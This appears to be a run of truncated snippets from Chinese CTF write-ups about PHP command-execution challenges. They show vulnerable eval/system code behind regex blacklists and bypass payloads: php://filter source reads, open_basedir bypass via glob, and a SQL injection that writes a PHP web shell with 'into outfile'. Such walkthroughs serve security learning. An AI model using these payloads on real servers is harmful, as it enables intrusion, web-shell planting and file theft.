eval()、assert()、preg_replace、call_user_func()、call_user_func_array()、create_function()、array_map() 系统命令执行相关 system()、passthru()、exec()、pcntl_exec()、shell_exec()、popen()、proc_open()、反引号(``)、ob_s
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }payload:php ?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource...
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){ system($c." >/dev/null 2>&1"); } 1. 2. 3. 上一题payload适用 web51 if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|...
if(isset($_POST['c'])){ $c= $_POST['c']; eval($c); $s = ob_get_contents(); ob_end_clean(); echo preg_replace("/[0-9]|[a-z]/i","?",$s); }else{ highlight_file(__FILE__); } ?> 你要上天吗? ob_get_contents():(PHP4, PHP 5) 返回输出缓冲区的内容...
echo preg_replace("/[0-9]|[a-z]/i","?",$s); }else{ highlight_file(__FILE__); } ?> 你要上天吗? // 意思就是:执行之后返回输出缓冲区的内容,然后清空输出缓冲区,过滤[0-9][a-z]再输出 1. 2. 3. 4. 5. 6. 7. 8.
echopreg_replace("/[0-9]|[a-z]/i","?",$s);}else{highlight_file(__FILE__);}?>你要上天吗? 执行c=include('flag.php');exit(0);没内容打印。 有进行读取根目录文件,但是被 open_basedir限制. 进行绕过。 c=$it=newDirectoryIterator("glob:///*");foreach($itas$f) {echo$f...
='admin'){ $s = preg_replace('/'.$username.'@[0-9a-zA-Z]+\|/', '', $data); file_put_contents(DB_PATH, $s); }else{ $ret['code']=-1; $ret['message']='用户不存在或无权删除'; } return json_encode($ret); } function existsUser($data,$username){ return preg_match('...
.""; if(isset($_GET['c'])){ preg_replace_callback("/\w\W*/",function(){die("not allowed!");},$_GET['c'],1); echo $flag; }else{ echo "you not admin"; } } } ?> 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 提示:register.php login...
('payload.txt', quoted_printable_encode($payload)); //quoted_printable_encode这就是个特殊编码,目的只是为了可视化,因为编码后会乱码, //应该也可以用urlencode($payload),但是urlencode($payload)我本地测试是可以的,但题目环境不行$s = file_get_contents('payload.txt');$s = preg_replace('/=\r\n...
if(!preg_match(‘/[\x00-\x7f]/i’, json_encode($ret))){ $ret[‘msg’]=‘查询成功’; } /x是什么编码?? 原语句 99’ union select ‘1’,“<?php eval($_POST[1]);?>” into outfile '/var/www/html/1.php php语句先经过base64再使用url编码 ...